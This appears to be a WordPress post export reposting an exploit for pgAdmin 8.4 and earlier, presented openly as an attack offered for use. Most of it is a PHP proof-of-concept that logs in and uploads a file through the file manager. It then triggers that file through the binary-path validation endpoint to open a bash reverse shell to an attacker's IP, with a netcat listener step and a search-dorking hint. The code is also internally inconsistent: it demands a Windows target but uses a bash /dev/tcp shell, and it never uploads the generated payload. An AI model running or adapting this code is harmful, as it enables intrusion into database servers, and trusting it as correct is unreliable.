{"id":59393,"date":"2024-09-02T20:21:04","date_gmt":"2024-09-02T17:21:04","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181236\/pgadmin4-exec.txt"},"modified":"2024-09-02T20:21:04","modified_gmt":"2024-09-02T17:21:04","slug":"pgadmin-8-4-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pgadmin-8-4-code-execution\/","title":{"rendered":"pgAdmin 8.4 Code Execution"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : pgAdmin 8.4 PHP Code Execution Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) |<br \/>| # Vendor : https:\/\/www.pgadmin.org\/download\/ |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] pgAdmin versions 8.4 and earlier are affected by a remote reverse connection execution vulnerability via the binary path validation API. <br \/>This vulnerability allows an attacker to execute a reverse connection on the server hosting PGAdmin, posing a severe risk to the integrity <br \/>of the database management system and the security of the underlying data.<\/p>\n[+] Description:<\/p>\n<p>The generateReverseShell function: Generates a reverse connection payload that uses netcat (or equivalent) to open a reverse connection with your machine. You will need to replace &#8220;YOUR_IP&#8221; and &#8220;YOUR_PORT&#8221; with your machine&#8217;s IP address and the port you are listening on.<\/p>\n<p>exec in PHP: Runs the command that opens a reverse connection using bash and executes it on the target.<\/p>\n[+] How to use it:<\/p>\n<p>Modify &#8220;YOUR_IP&#8221; and &#8220;YOUR_PORT&#8221; in the generateReverseShell function to match your machine.<\/p>\n<p>Verify that your machine is listening on the specified port using nc or a similar tool:<\/p>\n<p>nc -lvnp YOUR_PORT<\/p>\n[+] Run the code. If the exploit is successful, you will get a reverse connection to the target machine.<\/p>\n[+] Line : 156+157<\/p>\n<p>$ip = &#8216;YOUR_IP&#8217;; \/\/ Replace with your machine&#8217;s IP<br \/>$port = &#8216;YOUR_PORT&#8217;; \/\/ Replace with the port you want to use<\/p>\n[+] Line : 164+165+166<\/p>\n<p>$targetUrl = &#8216;http:\/\/target-url.com&#8217;; \/\/ Replace this with the actual address<br \/>$username = &#8216;admin&#8217;; \/\/ Username (if required)<br \/>$password = &#8216;password&#8217;; \/\/ Password (if required)<\/p>\n[+] Save As poc.php<\/p>\n[+] usage : cmd=&gt; php poc.php<\/p>\n[+] payload :<\/p>\n<p>&lt;?php<\/p>\n<p>class PGAdminExploit {<br \/>private $targetUrl;<br \/>private $csrfToken;<br \/>private $username;<br \/>private $password;<\/p>\n<p>public function __construct($targetUrl, $username = &#8221;, $password = &#8221;) {<br \/>$this-&gt;targetUrl = rtrim($targetUrl, &#8216;\/&#8217;);<br \/>$this-&gt;username = $username;<br \/>$this-&gt;password = $password;<br \/>}<\/p>\n<p>public function exploit() {<br \/>if ($this-&gt;authRequired() &amp;&amp; (!$this-&gt;username || !$this-&gt;password)) {<br \/>die(&#8220;The application requires authentication, please provide valid credentials.\\n&#8221;);<br \/>}<\/p>\n<p>if ($this-&gt;authRequired()) {<br \/>$this-&gt;authenticate();<br \/>echo &#8220;Successfully authenticated to pgAdmin\\n&#8221;;<br \/>}<\/p>\n<p>if (!$this-&gt;onWindows()) {<br \/>die(&#8220;This exploit is specific to Windows targets!\\n&#8221;);<br \/>}<\/p>\n<p>$fileName = &#8216;reverse_shell.php&#8217;;<br \/>$this-&gt;fileManagerUploadAndTrigger($fileName, $this-&gt;generateReverseShell());<br \/>}<\/p>\n<p>private function authRequired() {<br \/>$res = $this-&gt;sendRequest(&#8216;GET&#8217;, $this-&gt;targetUrl . &#8216;\/&#8217;);<br \/>return strpos($res, &#8216;Location: login&#8217;) !== false;<br \/>}<\/p>\n<p>private function onWindows() {<br \/>$res = $this-&gt;sendRequest(&#8216;GET&#8217;, $this-&gt;targetUrl . &#8216;\/browser\/js\/utils.js&#8217;);<br \/>if ($res) {<br \/>$platform = $this-&gt;getStringBetween($res, &#8220;pgAdmin[&#8216;platform&#8217;] = &#8216;&#8221;, &#8220;&#8216;;&#8221;);<br \/>return $platform == &#8216;win32&#8217;;<br \/>}<br \/>return false;<br \/>}<\/p>\n<p>private function authenticate() {<br \/>$loginPage = $this-&gt;sendRequest(&#8216;GET&#8217;, $this-&gt;targetUrl . &#8216;\/login&#8217;);<br \/>$this-&gt;setCsrfTokenFromLoginPage($loginPage);<\/p>\n<p>$res = $this-&gt;sendRequest(&#8216;POST&#8217;, $this-&gt;targetUrl . &#8216;\/authenticate\/login&#8217;, [<br \/>&#8216;csrf_token&#8217; =&gt; $this-&gt;csrfToken,<br \/>&#8217;email&#8217; =&gt; $this-&gt;username,<br \/>&#8216;password&#8217; =&gt; $this-&gt;password,<br \/>&#8216;language&#8217; =&gt; &#8216;en&#8217;,<br \/>&#8216;internal_button&#8217; =&gt; &#8216;Login&#8217;<br \/>]);<\/p>\n<p>if (strpos($res, &#8216;Location: login&#8217;) !== false) {<br \/>die(&#8220;Failed to authenticate to pgAdmin\\n&#8221;);<br \/>}<br \/>}<\/p>\n<p>private function setCsrfTokenFromLoginPage($response) {<br \/>if (preg_match(&#8216;\/csrfToken&#8221;: &#8220;([\\w+.-]+)&#8221;\/&#8217;, $response, $matches)) {<br \/>$this-&gt;csrfToken = $matches[1];<br \/>} elseif (preg_match(&#8216;\/&lt;input.*?id=&#8221;csrf_token&#8221;.*?value=&#8221;(.*?)&#8221;\/&#8217;, $response, $matches)) {<br \/>$this-&gt;csrfToken = $matches[1];<br \/>} else {<br \/>die(&#8220;Failed to obtain the CSRF token\\n&#8221;);<br \/>}<br \/>}<\/p>\n<p>private function fileManagerUploadAndTrigger($filePath, $fileContents) {<br \/>list($transId, $homeFolder) = $this-&gt;fileManagerInit();<\/p>\n<p>$formData = [<br \/>&#8216;newfile&#8217; =&gt; new CURLFile($filePath, &#8216;application\/octet-stream&#8217;, $filePath),<br \/>&#8216;mode&#8217; =&gt; &#8216;add&#8217;,<br \/>&#8216;currentpath&#8217; =&gt; $homeFolder,<br \/>&#8216;storage_folder&#8217; =&gt; &#8216;my_storage&#8217;<br \/>];<\/p>\n<p>$res = $this-&gt;sendRequest(&#8216;POST&#8217;, $this-&gt;targetUrl . &#8220;\/file_manager\/filemanager\/{$transId}\/&#8221;, $formData, true);<\/p>\n<p>if (strpos($res, &#8216;&#8221;success&#8221;:1&#8217;) === false) {<br \/>die(&#8220;Failed to upload file contents\\n&#8221;);<br \/>}<\/p>\n<p>$uploadPath = $this-&gt;getStringBetween($res, &#8216;&#8221;Name&#8221;:&#8221;&#8216;, &#8216;&#8221;&#8216;);<br \/>echo &#8220;Payload uploaded to: {$uploadPath}\\n&#8221;;<\/p>\n<p>$this-&gt;sendRequest(&#8216;POST&#8217;, $this-&gt;targetUrl . &#8216;\/misc\/validate_binary_path&#8217;, json_encode([<br \/>&#8216;utility_path&#8217; =&gt; substr($uploadPath, 0, -15)<br \/>]), true);<br \/>}<\/p>\n<p>private function fileManagerInit() {<br \/>$res = $this-&gt;sendRequest(&#8216;POST&#8217;, $this-&gt;targetUrl . &#8216;\/file_manager\/init&#8217;, json_encode([<br \/>&#8216;dialog_type&#8217; =&gt; &#8216;storage_dialog&#8217;,<br \/>&#8216;supported_types&#8217; =&gt; [&#8216;sql&#8217;, &#8216;csv&#8217;, &#8216;json&#8217;, &#8216;*&#8217;],<br \/>&#8216;dialog_title&#8217; =&gt; &#8216;Storage Manager&#8217;<br \/>]));<\/p>\n<p>$transId = $this-&gt;getStringBetween($res, &#8216;&#8221;transId&#8221;:&#8221;&#8216;, &#8216;&#8221;&#8216;);<br \/>$homeFolder = $this-&gt;getStringBetween($res, &#8216;&#8221;homedir&#8221;:&#8221;&#8216;, &#8216;&#8221;&#8216;);<\/p>\n<p>if (!$transId || !$homeFolder) {<br \/>die(&#8220;Failed to initialize a file manager transaction Id or home folder\\n&#8221;);<br \/>}<\/p>\n<p>return [$transId, $homeFolder];<br \/>}<\/p>\n<p>private function sendRequest($method, $url, $data = [], $multipart = false) {<br \/>$ch = curl_init();<br \/>curl_setopt($ch, CURLOPT_URL, $url);<br \/>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);<\/p>\n<p>if ($method == &#8216;POST&#8217;) {<br \/>curl_setopt($ch, CURLOPT_POST, true);<br \/>if ($multipart) {<br \/>curl_setopt($ch, CURLOPT_POSTFIELDS, $data);<br \/>} else {<br \/>curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));<br \/>}<br \/>}<\/p>\n<p>if ($this-&gt;csrfToken) {<br \/>curl_setopt($ch, CURLOPT_HTTPHEADER, [<br \/>&#8220;X-pgA-CSRFToken: {$this-&gt;csrfToken}&#8221;<br \/>]);<br \/>}<\/p>\n<p>$response = curl_exec($ch);<br \/>if (curl_errno($ch)) {<br \/>die(&#8220;cURL Error: &#8221; . curl_error($ch) . &#8220;\\n&#8221;);<br \/>}<\/p>\n<p>curl_close($ch);<br \/>return $response;<br \/>}<\/p>\n<p>private function getStringBetween($string, $start, $end) {<br \/>$string = &#8216; &#8216; . $string;<br \/>$ini = strpos($string, $start);<br \/>if ($ini == 0) return &#8221;;<br \/>$ini += strlen($start);<br \/>$len = strpos($string, $end, $ini) &#8211; $ini;<br \/>return substr($string, $ini, $len);<br \/>}<\/p>\n<p>private function generateReverseShell() {<br \/>\/\/ \u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0627\u0644\u0639\u0643\u0633\u064a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Netcat<br \/>$ip = &#8216;YOUR_IP&#8217;; \/\/ \u0627\u0633\u062a\u0628\u062f\u0644 \u0628\u0640 IP \u0627\u0644\u062e\u0627\u0635 \u0628\u062c\u0647\u0627\u0632\u0643<br \/>$port = &#8216;YOUR_PORT&#8217;; \/\/ \u0627\u0633\u062a\u0628\u062f\u0644 \u0628\u0627\u0644\u0645\u0646\u0641\u0630 \u0627\u0644\u0630\u064a \u062a\u0631\u064a\u062f \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647<br \/>$shell = &#8220;&lt;?php exec(\\&#8221;\/bin\/bash -c &#8216;bash -i &gt; \/dev\/tcp\/$ip\/$port 0&gt;&amp;1&#8217;\\&#8221;); ?&gt;&#8221;;<br \/>return $shell;<br \/>}<br \/>}<\/p>\n<p>\/\/ \u0645\u062b\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645<br \/>$targetUrl = &#8216;http:\/\/target-url.com&#8217;; \/\/ \u0627\u0633\u062a\u0628\u062f\u0644 \u0647\u0630\u0627 \u0628\u0627\u0644\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u062d\u0642\u064a\u0642\u064a<br \/>$username = &#8216;admin&#8217;; \/\/ \u0627\u0633\u0645 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 (\u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u0637\u0644\u0648\u0628\u064b\u0627)<br \/>$password = &#8216;password&#8217;; \/\/ \u0643\u0644\u0645\u0629 \u0627\u0644\u0645\u0631\u0648\u0631 (\u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0645\u0637\u0644\u0648\u0628\u0629)<\/p>\n<p>$exploit = new PGAdminExploit($targetUrl, $username, $password);<br \/>$exploit-&gt;exploit();<\/p>\n<p>?&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : pgAdmin 8.4 PHP Code Execution Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) || # Vendor : https:\/\/www.pgadmin.org\/download\/ |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] pgAdmin versions 8.4 and earlier are affected &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59393","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59393","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59393"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59393\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}